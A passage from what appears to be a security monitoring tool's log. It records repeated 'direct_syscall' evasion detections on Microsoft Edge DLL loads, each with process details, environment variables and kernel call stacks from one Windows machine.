Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffbf8421014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffbf8233640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffbf8233a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc36754294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc366f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc33f8d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffbe730633a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe62515a2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe6251377 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe62512fe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe7f70c2c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe61fb976 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61fb8ad C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61fb707 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe621f28a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe621f17e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61d8193 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe624eb02 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe645c6a2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe645c5f6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66af174 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66aefa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae8a4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae5d2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe6004beb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe6055048 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60795e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T14:22:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1331060 + Pid: 6420 + Tid: 8776 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 14:22:09.1255574 +0100 CET + Params: base_address➜ 7ffc310d0000, checksum➜ 2282862, default_address➜ 7ffc310d0000, file_path➜ C:\Windows\System32\dbghelp.dll, image_size➜ 2367488, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6420, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6420 + Ppid: 12668 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6420 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6420_RUHPJWSRCHKKNVKY EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1103 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffbf8421014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffbf8233640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffbf8233a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffc367541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc3676cf87 C:\Windows\System32\ntdll.dll!RtlFreeActivationContextStack|0x7ffc366f63aa C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc33f8d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffbe730633a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe62515a2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe6251377 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe62512fe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe7f70c2c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe61fb976 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61fb8ad C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61fb707 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe621f28a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe621f17e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61d8193 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe624eb02 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe645c6a2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe645c5f6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66af174 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66aefa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae8a4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae5d2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe6004beb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe6055048 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60795e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T14:22:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1331326 + Pid: 6420 + Tid: 8776 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 14:22:09.1335613 +0100 CET + Params: base_address➜ 7ffbe51c0000, checksum➜ 3330884, default_address➜ 7ffbe51c0000, file_path➜ C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll, image_size➜ 3313664, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6420, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6420 + Ppid: 12668 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6420 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6420_RUHPJWSRCHKKNVKY EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1103 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffbf8421014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffbf8233640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffbf8233a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc36754294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc366f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc33f8d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffbe730633a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe62516da C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe6251377 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe62512fe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe7f70c2c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe61fb976 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61fb8ad C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61fb707 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe621f28a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe621f17e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe61d8193 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe624eb02 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!ChromeMain|0x7ffbe645c6a2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe645c5f6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66af174 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66aefa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae8a4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae5d2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe6004beb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe6055048 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60795e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T14:22:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1331617 + Pid: 6420 + Tid: 8776 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 14:22:09.1467297 +0100 CET + Params: base_address➜ 7ffbf9310000, checksum➜ 139155, default_address➜ 7ffbf9310000, file_path➜ C:\Windows\System32\Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll, image_size➜ 77824, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6420, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6420 + Ppid: 12668 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: 